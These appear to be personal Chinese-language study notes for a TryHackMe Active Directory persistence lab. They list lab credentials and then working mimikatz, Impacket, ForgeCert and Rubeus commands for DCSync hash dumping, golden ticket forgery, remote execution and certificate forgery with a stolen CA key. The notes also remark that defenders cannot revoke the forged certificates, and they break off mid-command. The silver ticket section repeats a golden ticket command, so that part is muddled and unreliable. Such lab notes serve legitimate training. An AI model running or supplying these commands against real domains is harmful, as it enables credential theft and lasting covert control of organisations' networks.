grace.clarke
Password1
ssh za\\grace.clarke@thmwrk1.za.tryhackme.loc
Administrator
tryhackmewouldnotguess1@
ZA
ssh za\\administrator@thmwrk1.za.tryhackme.loc
https://codebeautify.org/ntlm-hash-generator
Persistence through Credentials (通过凭据)
管理员权限
// 针对单个账户
mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /user:<Your low-privilege AD Username>
// 启用日志
mimikatz # log <username>_dcdump.txt
// 域上的所有账户
mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /all
// 获取用户名
cat <username>_dcdump.txt | grep "SAM Username"
// 获取hash
cat <username>_dcdump.txt | grep "Hash NTLM"
Persistence through Tickets (通过票证)
金票 和 银票
金票
- 如果有
krbtgt
账户的哈希值,则可以创建Tickets 不需要发送AS-REQ向KDC去验证身份
- 使用
krbtgt
签署票据就可以验证TGT - 给定
krbtgt
的哈希值,可以欺骗TGT中的时间戳,使票证有效的时间延长
- 使用
所需:
krbtgt
ntlm哈希值- Domain FQDN 【完全限定域名(英语:Fully qualified domain name)】
- Domain SID
- 要模拟的用户名
使用mimikatz伪造金票
- 获取Domain SID
Get-ADDomain mimikatz # kerberos::golden /admin:St4rry /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt mimikatz # exit 可以使用klist进行验证
清除票据
- 在mimikatz 下运行
kerberos::purge
- 借助klist
klist purge
- 在mimikatz 下运行
可以通过简单地旋转KRBTGT密码两次来防御这种攻击
- 旋转KRBTGT密码是指更改域控制器上KRBTGT账户的密码。
使用Impacket-ticketer伪造金票
ticketer.py -nthash 16f9af38fca3ada405386b3b57366082 -domain-sid S-1-5-21-3885271727-2693558621-2658995185 -domain za.tryhackme.loc Thisisuser export KRB5CCNAME=Thisisuser.ccache wmiexec.py -k -no-pass za.tryhackme.loc/administrator@thmdc.za.tryhackme.loc # 或者其他的,如psexec
银票
- 与金票相比,影响有限,伪造的是TGS
当用户想要访问特定服务时会请求 TGS 票证
TGS是在与KDC进行身份验证后创建的
- 这意味着,银票永远不需要与 KDC 交谈
- 只有攻击者和目标服务
服务将在特定机器上运行
- TGS 将使用机器的哈希进行签名
给定机器的密码哈希:
- 作为假用户伪造 TGS
更改票证中的组 SID
- 将我们自己置于目标的特权本地群体中
- 当拥有机器的访问权限时,修改密码轮换间隔(默认30天)
mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt
mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt
Persistence through Certificates (通过证书)
- 此攻击围绕获取域的证书颁发机构 (CA) 的私钥进行。
- 有了私钥,攻击者现在可以有效地“批准”他们自己的证书签名请求(CSR)并为任何用户生成证书。
在 Kerberos 身份验证中,用户可以通过提供其公钥进行身份验证。
在具有管理员权限的pc上提取私钥C:\Tools\mimikatz_trunk\x64\mimikatz.exe mimikatz # crypto::certificates /systemstore:local_machine mimikatz # privilege::debug mimikatz # crypto::capi mimikatz # crypto::cng mimikatz # crypto::certificates /systemstore:local_machine /export mimikatz $ exit
重点关注导出的
za-THMDC-CA.pfx
使用ForgeCert生成自己的证书C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123
CaCertPath - 我们导出的 CA 证书的路径。
CaCertPassword - 用于加密证书的密码。默认情况下,Mimikatz 分配的密码为mimikatz
。
Subject: 证书的主题或通用名称。可以为CN=User
SubjectAltName: 证书模拟的帐户的用户主体名称 (UPN)。它必须是合法用户。
NewCertPath - ForgeCert 将存储生成的证书的路径。
NewCertPassword: 证书的密码
使用 Rubeus 来使用证书请求 TGT,以验证证书是否可信
C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:上面生成的证书 /password:密码 /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:DCIP<域控的IP>
/user - 这指定我们将模拟的用户,必须与整数的UPN相同
/enctype - 指定票证的加密类型
/certificate - 我们生成的证书的路径
/password - 我们的证书文件的密码
/outfile - TGT 将输出到的文件 (.kirbi)
/domain - 当前攻击的域的 FQDN
/dc - 请求 TGT 的域控制器的 IP (一般为域控DC)
使用 Mimikatz 加载 TGT
mimikatz # kerberos::ptt administrator.kirbi
证书持久性难以防御。即使你更换被攻陷账户的凭证,证书仍然有效。
唯一消除持久性的方法是吊销证书。
然而,这只有在通过合法渠道生成证书时才可能实现。由于我们导出了 CA 并自行生成了证书,它不会出现在 AD CS 的颁发证书列表中,这意味着蓝队无法吊销我们的证书。
必须吊销根 CA 证书才可以.
吊销这个证书意味着AD CS颁发的所有证书都会突然失效。这意味着他们必须为每个使用 AD CS 的系统生成新证书。\
Persistence through SID History
SID History 允许一个账户附加到另一个账户,拥有其权限
- 常用于在进行域迁移时,新域上的账户可以具有旧域账户的SID 历史记录,以便在迁移期间保留对旧域的访问权限
滥用此功能的一种方法是将特权组(如Domain Admins组)的SID添加到低权限用户的SID History中。
- 即使用户不是AD中的组成员,系统也会对用户进行授权。
利用过程:
在具有管理员权限的凭据访问域控(Domain Controller)(未完成) // 检查低权限用户的SIDHistory 和 组成员身份(memberof) Get-ADUser "username" -Pro